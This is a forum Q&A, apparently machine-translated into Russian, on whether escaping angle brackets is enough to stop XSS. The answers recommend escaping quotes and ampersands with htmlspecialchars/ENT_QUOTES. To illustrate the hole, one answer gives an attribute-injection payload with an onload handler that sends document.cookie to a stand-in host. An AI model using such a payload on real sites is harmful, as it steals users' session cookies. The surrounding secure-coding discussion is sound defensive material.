Вопрос по xss, code-injection – Заменяет: <и> на & lt; и & gt; достаточно, чтобы предотвратить инъекцию XSS?

14

Я хочу знать, заманивая ли два знака< а также> достаточно для предотвращения инъекций XSS?

А если нет, то почему? И какое лучшее решение?

Ваш Ответ

2   ответа
16

Проверьте этот пример с типичного сайта форума ...

Вы можете хотлинкнуть свою аватарку. Введите полный URL.

Злоумышленник вводит в поле ввода

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

Там нет кодирования «меньше» и «больше, чем», но все же есть большая дыра в безопасности.

С участиемhtmlspecialchars()Я считаю хорошей идеей сделать (или использовать) функцию-оболочку, которая преобразуется в строку, предоставляет более простой способ отключить двойное кодирование (при необходимости) и убедиться, что он использует правильный набор символов вашего приложения. Кохана имеетотличный пример.

Я бы не кодировал вход в БД, но кодировал выход. Как правило, рекомендуется хранить пользовательские данные «как есть» и предоставлять некоторый механизм, чтобы сделать их безопасными для отображения. alex
Общее правило - проверять ввод при получении данных и экранирование при выводе данных. Посмотрите OWASP XSS Предотвращение Шпаргалку для того, чтобы избежать в различных контекстах:owasp.org/index.php/... Erlend
@bobince Очень хорошая мысль, я сделал правку :) alex
Привет, спасибо всем за ответы, я спросил это, потому что я думаю, что привлечение всех символов занимает больше места в базе данных. Спасибо Ryan
Я полностью согласен с подходом «оставайся сырым, пока не попадаешь на страницу», однако я бы настоятельно рекомендовал не «отключать двойные кавычки», поскольку это приведет к искажению ваших строк. Например, если я хочу сказать&amp; в сообщении о HTML, подобном этому, опция не сможет избежать его&amp;amp; в источнике, и, следовательно, он будет выглядеть как раз& на экране, делая меня похожим на идиота. Кодирование - это процесс, а не состояние. bobince
6

также взять двойные кавычки"одинарные кавычки' и амперсанды& в учетную запись. Если вы делаете это всев течение отображение / генерация вывода, тогда да, этого достаточно.

Вы должны толькообеспечивать что ты делаешь это дляЛюбые управляемый пользователем ввод, такой как параметры запроса, URL запроса, заголовки запроса и ввод, управляемый пользователем, который хранится в хранилище данных.

В PHP вы можете сделать это сhtmlspecialchars() и в JSP Cou может сделать это с JSTL<c:out>.

Записьhtmlspecialchars по умолчанию экранирует только двойную кавычку, а не одиночную. Но обычно это нормально, поскольку в качестве разделителя атрибута довольно редко используется одинарная кавычка. использованиеENT_QUOTES чтобы быть уверенным в получении обоих. bobince

Похожие вопросы